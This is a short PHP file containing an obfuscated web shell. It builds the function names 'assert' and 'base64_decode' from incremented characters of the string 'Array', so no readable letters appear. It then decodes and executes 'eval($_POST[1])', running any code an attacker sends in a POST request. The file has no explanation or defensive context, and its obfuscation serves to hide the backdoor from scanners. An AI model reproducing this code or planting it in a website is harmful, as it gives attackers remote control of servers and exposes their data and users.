<?php
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];
$____=$___;
$____++;
$_____=$____;
$_____++;
$______=$_____;
$______++;
$_______=$______;
$_______++;
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;
$_________=$________;
$_________++;$_________++;$_________++;$_________++;
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;
$_____=$_________;
$_____++;
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p"));   
?>